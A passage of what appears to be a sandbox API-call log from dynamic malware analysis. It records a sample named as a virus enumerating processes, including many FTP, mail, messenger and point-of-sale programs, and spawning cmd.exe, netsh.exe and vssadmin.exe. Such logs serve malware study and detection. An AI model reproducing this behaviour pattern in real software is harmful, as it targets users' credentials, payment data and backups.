cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.300] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.301] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.302] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.303] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.304] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0069.305] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0069.305] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0069.306] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0069.307] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0069.307] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0069.308] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0069.308] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0069.309] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0069.310] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0069.310] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0069.311] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0069.311] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0069.435] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0069.435] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0069.436] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0069.436] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0069.437] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0069.438] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0069.438] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.439] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.440] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.440] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.441] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.442] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.442] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0069.444] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0069.445] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0069.446] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0069.446] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0069.447] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0069.448] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0069.449] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0069.449] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0069.450] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0069.451] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0069.452] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0069.453] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0069.454] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0069.455] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0069.456] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0069.457] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0069.459] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0069.460] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0069.461] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0069.462] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0069.463] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0069.464] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0069.465] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0069.466] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0069.467] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0069.468] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0069.469] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0069.470] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0069.680] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0069.681] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0069.682] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0069.683] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0069.684] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0069.685] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0069.685] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0069.686] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0069.687] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.688] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.688] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.689] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0069.690] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0069.691] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.691] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.692] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.694] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.695] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.696] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0069.696] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0069.697] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0069.698] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0069.698] CloseHandle (hObject=0x1c4) returned 1 [0069.699] Sleep (dwMilliseconds=0x1f4) [0070.337] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0070.345] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.345] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 